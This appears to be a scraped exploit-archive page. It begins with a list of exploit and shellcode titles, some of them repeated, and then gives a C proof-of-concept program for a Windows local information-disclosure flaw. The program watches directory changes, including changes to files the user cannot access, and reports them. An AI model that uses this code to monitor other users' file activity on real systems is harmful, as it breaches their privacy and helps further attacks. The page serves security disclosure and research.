
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
100 lines
No EOL
2.6 KiB
C
100 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/22664/info
|
|
|
|
Microsoft Windows is prone to a local information-disclosure vulnerability.
|
|
|
|
A local attacker may leverage this issue to gain access to potentially sensitive information about user permissions and accessed files. Information gained may aid in further attacks against the affected computer.
|
|
|
|
/*
|
|
Monitors directory changes
|
|
(c) 2006-2007 Vladimir Dubrovin, 3APA3A
|
|
http://securityvulns.com/
|
|
http://securityvulns.ru/
|
|
*/
|
|
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
|
|
int main(int argc, char *argv[]){
|
|
HANDLE hDir;
|
|
|
|
char buf[1024];
|
|
FILE_NOTIFY_INFORMATION * fn;
|
|
int read;
|
|
WCHAR * action = NULL;
|
|
|
|
if(argc != 2) {
|
|
printf(
|
|
"Usage: %s <directory_path>\n"
|
|
" Monitor directory changes with all subdirectories\n"
|
|
" For any files, including ones you have no access\n"
|
|
" (as on January, 2007)\n"
|
|
"(c) Vladimir Dubrovin, 3APA3A\n"
|
|
" http://securityvulns.com\n"
|
|
" http://securityvulns.ru\n"
|
|
"This approach is not reliable and should not be used for audit and another critical operations.\n",
|
|
argv[0]);
|
|
return 1;
|
|
}
|
|
|
|
CreateDirectory(argv[1], 0);
|
|
hDir = CreateFile(
|
|
argv[1],
|
|
FILE_LIST_DIRECTORY,
|
|
FILE_SHARE_READ|FILE_SHARE_DELETE,
|
|
NULL,
|
|
OPEN_EXISTING,
|
|
FILE_FLAG_BACKUP_SEMANTICS,
|
|
NULL
|
|
);
|
|
if(hDir == INVALID_HANDLE_VALUE){
|
|
fprintf(stdout, "Failed to open dir\n");
|
|
return 2;
|
|
}
|
|
for(;;){
|
|
if(!ReadDirectoryChangesW(
|
|
hDir,
|
|
buf,
|
|
1022,
|
|
1,
|
|
FILE_NOTIFY_CHANGE_DIR_NAME | FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_LAST_ACCESS |
|
|
FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_SIZE | FILE_NOTIFY_CHANGE_LAST_WRITE |
|
|
FILE_NOTIFY_CHANGE_CREATION | FILE_NOTIFY_CHANGE_SECURITY
|
|
,
|
|
(DWORD *)&read,
|
|
NULL,
|
|
NULL
|
|
)) {
|
|
fprintf(stderr, "Failed to read directory changes\n");
|
|
break;
|
|
}
|
|
for (fn = (FILE_NOTIFY_INFORMATION *)buf; ;){
|
|
fn->FileName[fn->FileNameLength/2] = 0;
|
|
switch(fn->Action){
|
|
case FILE_ACTION_ADDED:
|
|
action = L"added";
|
|
break;
|
|
case FILE_ACTION_REMOVED:
|
|
action = L"removed";
|
|
break;
|
|
case FILE_ACTION_MODIFIED:
|
|
action = L"accessed/modified";
|
|
break;
|
|
case FILE_ACTION_RENAMED_OLD_NAME:
|
|
action = L"renamed (old name)";
|
|
break;
|
|
case FILE_ACTION_RENAMED_NEW_NAME:
|
|
action = L"renamed (new name)";
|
|
break;
|
|
default:
|
|
action = L"(unknown)";
|
|
}
|
|
wprintf(L"File %s: %s\n", action, fn->FileName);
|
|
if(!fn->NextEntryOffset) break;
|
|
fn = (FILE_NOTIFY_INFORMATION *)(((char *)fn) + fn->NextEntryOffset);
|
|
}
|
|
}
|
|
return 0;
|
|
|
|
} |